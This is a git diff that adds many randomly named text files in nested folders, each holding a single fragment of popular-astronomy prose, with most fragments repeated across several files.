+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_qypergyjclgcgi.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_rdstetdpr.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_rdstetdpr.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_rdstetdpr.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_umvkruxncjmikhjth.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_umvkruxncjmikhjth.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_umvkruxncjmikhjth.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_uyhplattnukg.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_uyhplattnukg.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_uyhplattnukg.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_uzgbfbpqrzwyejuiljax.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_uzgbfbpqrzwyejuiljax.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_uzgbfbpqrzwyejuiljax.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_xgytijrisfw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_xgytijrisfw.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_xgytijrisfw.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_xksowgbzoouis.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_xksowgbzoouis.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_xksowgbzoouis.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/file_zaldxklmrexurx.txt b/big_zip/big-zip-files/folder_xehkkhqjny/file_zaldxklmrexurx.txt
new file mode 100644
index 0000000..87d9055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/file_zaldxklmrexurx.txt
@@ -0,0 +1 @@
+dimmer stars hanging from the belt are, according to the conventional astronomical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_aimammdkorgwlvzworcq.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_aimammdkorgwlvzworcq.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_aimammdkorgwlvzworcq.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_dqspbzopkpp.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_dqspbzopkpp.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_dqspbzopkpp.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_evfqqcbkffqxewujaqi.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_evfqqcbkffqxewujaqi.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_evfqqcbkffqxewujaqi.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_ghwobcwyrlpkfjlkiezpfgtz.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_ghwobcwyrlpkfjlkiezpfgtz.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_ghwobcwyrlpkfjlkiezpfgtz.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_hufajeuencqkgrhsrvfjxbxu.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_hufajeuencqkgrhsrvfjxbxu.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_hufajeuencqkgrhsrvfjxbxu.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_mlutjtvgxp.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_mlutjtvgxp.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_mlutjtvgxp.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_muhmyorxvzpwapiybwvyyigx.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_muhmyorxvzpwapiybwvyyigx.txt
new file mode 100644
index 0000000..723385b
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+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_muhmyorxvzpwapiybwvyyigx.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_nnzabjdtepiwinhr.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_nnzabjdtepiwinhr.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_nnzabjdtepiwinhr.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_pexytdzwgznals.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_pexytdzwgznals.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_pexytdzwgznals.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_porkwwhobmdhegkmgcurl.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_porkwwhobmdhegkmgcurl.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_porkwwhobmdhegkmgcurl.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_quitohoducthrqvsoal.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_quitohoducthrqvsoal.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_quitohoducthrqvsoal.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_rykgcbhedxmt.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_rykgcbhedxmt.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_rykgcbhedxmt.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_sgjuswqznivhsazlmbabnoc.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_sgjuswqznivhsazlmbabnoc.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_sgjuswqznivhsazlmbabnoc.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_shfoglni.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_shfoglni.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_shfoglni.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_skiverfxeil.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_skiverfxeil.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_skiverfxeil.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_ueqwuipyypjamh.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_ueqwuipyypjamh.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_ueqwuipyypjamh.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_urpeazsdrqtwbdhxllpkoq.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_urpeazsdrqtwbdhxllpkoq.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_urpeazsdrqtwbdhxllpkoq.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_zvxrxmvawg.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_zvxrxmvawg.txt
new file mode 100644
index 0000000..723385b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/file_zvxrxmvawg.txt
@@ -0,0 +1 @@
+oriented toward astronomy but with a very broad human perspective. It was to be aimed at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_aavecxxgik.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_aavecxxgik.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_aavecxxgik.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ahvkmhgjwwlrnho.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ahvkmhgjwwlrnho.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ahvkmhgjwwlrnho.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_axuxtsqyfhyzjatrrw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_axuxtsqyfhyzjatrrw.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_axuxtsqyfhyzjatrrw.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_bcojrpdryhttkkrmitdvtkhq.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_bcojrpdryhttkkrmitdvtkhq.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_bcojrpdryhttkkrmitdvtkhq.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_dgahlblvbmizvfqpmahlafvl.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_dgahlblvbmizvfqpmahlafvl.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_dgahlblvbmizvfqpmahlafvl.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_duzgesgtxxtpy.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_duzgesgtxxtpy.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_duzgesgtxxtpy.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ecctkeqmrnhjwx.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ecctkeqmrnhjwx.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ecctkeqmrnhjwx.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_efxannoxxuvzslctl.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_efxannoxxuvzslctl.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_efxannoxxuvzslctl.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_fyotrnvjtvhf.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_fyotrnvjtvhf.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_fyotrnvjtvhf.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_gctzdxxyxw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_gctzdxxyxw.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_gctzdxxyxw.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_htyrpoepumzqtyvugxgoqzax.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_htyrpoepumzqtyvugxgoqzax.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_htyrpoepumzqtyvugxgoqzax.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_icnrrfsn.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_icnrrfsn.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_icnrrfsn.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_mvrbhvblnomxfrctkdtmyf.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_mvrbhvblnomxfrctkdtmyf.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_mvrbhvblnomxfrctkdtmyf.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ozuoooaqanaqfpkq.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ozuoooaqanaqfpkq.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_ozuoooaqanaqfpkq.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_vbkgobsjnru.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_vbkgobsjnru.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_vbkgobsjnru.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_vthaqdylaqrfoizpwif.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_vthaqdylaqrfoizpwif.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_vthaqdylaqrfoizpwif.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_xlbfqgkorteawgktrrhkb.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_xlbfqgkorteawgktrrhkb.txt
new file mode 100644
index 0000000..1adcd43
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/file_xlbfqgkorteawgktrrhkb.txt
@@ -0,0 +1 @@
+when we see our planet as a fragile blue crescent fading to become an inconspicuous point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/afjodkvhhrgglxefwxlsmi.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/afjodkvhhrgglxefwxlsmi.txt
new file mode 100644
index 0000000..a66a29c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/afjodkvhhrgglxefwxlsmi.txt
@@ -0,0 +1 @@
+a moment, hurtling across the sky. They called it a falling star, but it is not a good name:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/bkclmhlfgt.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/bkclmhlfgt.txt
new file mode 100644
index 0000000..47cbaa4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/bkclmhlfgt.txt
@@ -0,0 +1 @@
+pressure of the electrons, stripped from their nuclei, holds the star up. For neutron stars, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/drjjvarzeonkiw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/drjjvarzeonkiw.txt
new file mode 100644
index 0000000..1cd382f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/drjjvarzeonkiw.txt
@@ -0,0 +1 @@
+splendid variety of planetary systems is to be found throughout the Galaxy, and with high
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/dxnvxpqlciuofurvzfyukas.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/dxnvxpqlciuofurvzfyukas.txt
new file mode 100644
index 0000000..72047b6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/dxnvxpqlciuofurvzfyukas.txt
@@ -0,0 +1 @@
+life began in the same generation as the invention of the telescope, and with the greatest
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ccblrhbw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ccblrhbw.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ccblrhbw.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_cibjufseflv.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_cibjufseflv.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_cibjufseflv.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ciowgbjwtauisbrgktultzu.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ciowgbjwtauisbrgktultzu.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ciowgbjwtauisbrgktultzu.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_csloseyhzzxahndrj.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_csloseyhzzxahndrj.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_csloseyhzzxahndrj.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_cxjbiiogtyvzvtkerwfny.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_cxjbiiogtyvzvtkerwfny.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_cxjbiiogtyvzvtkerwfny.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_fjeeowjfzbhyakeoyokjmx.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_fjeeowjfzbhyakeoyokjmx.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_fjeeowjfzbhyakeoyokjmx.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_frgxjjkdduiiklndxiqyhu.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_frgxjjkdduiiklndxiqyhu.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_frgxjjkdduiiklndxiqyhu.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
